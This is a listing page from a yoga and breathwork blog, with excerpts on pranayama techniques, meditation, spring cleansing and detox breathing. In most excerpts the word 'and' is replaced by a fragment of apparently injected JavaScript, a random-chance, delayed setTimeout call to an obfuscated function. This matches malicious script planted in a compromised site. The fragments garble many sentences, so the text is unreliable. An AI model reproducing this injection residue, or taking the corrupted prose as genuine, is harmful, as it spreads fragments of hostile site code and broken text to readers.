Home Yoga Practice-Ujjayi Breathing

Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious  As part of our Home Yoga Practice series we begin with learning how to breathe.  Sounds odd, I know.  You probably take breathing for granted, it’s innate.  But, …

Read more
Home Yoga Practice Mindful Meditation

There is nothing more pure in the world than the knowledge of the true self.  In due time this will come to the devoted practitioner of yoga. ~Bagavad Gita, IV.38 Welcome to our series Home Yoga Practice If you haven’t already …

Read more
Meditation with a Tree

  Advice From a Tree Dear Friend, Standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Tall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Proud Sink your roots deeply into the Earth Reflect the light of your true nature Think long term Go out …

Read more
7 Tips for Spring Cleansers

    7 Tips for Spring Cleansers Embracing your full potential sometimes requires first letting go.  As we move through the spring season we are reminded to cleanse our body, mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and household.  The ritual …

Read more
Be Here Now
Fire Up the Breath of Love

The Breath of Love “Ancient Yogis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Masters of Light have taught that all answers lie within.  The breath is the doorway to this inner experience.  Babaji the great Indian mystic said that the “Breath …

Read more
Rehab Is For Quitters

Why does quitting have such a bad connotation?  Oh yeah, that’s right; in our western society we sometimes have pressures placed upon us or the mentality to be the best, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to be the best …

Read more
How To Do Bhastrika Pranayama
inspiration November 15, 2013 Pranayama (Breathwork) no discussions

Bhastrika in Sanskrit means bellows, as this practice is also known as bellow breath. In Bhastrika pranayama, the breathing pattern resembles the blowing of bellows – it’s all about inhaling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhaling completely so that …

Read more
Detox With Breath
inspiration October 11, 2013 Cleanse & Detox, Pranayama (Breathwork) no discussions

Deep breathing, where you fill your belly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your diaphragm downwards, is one of the most powerful exercise you can do to activate your lymph system which helps to …

Read more
Stay Balanced Through Breath
inspiration September 27, 2013 Pranayama (Breathwork) 1 discussions

Feeling a bit of out of sorts or out of balance with the change of season. Autumn brings a new energy; an uplifting, powerful, gusty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspiring breeze that quickly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), …

Read more
Page 1 of 3123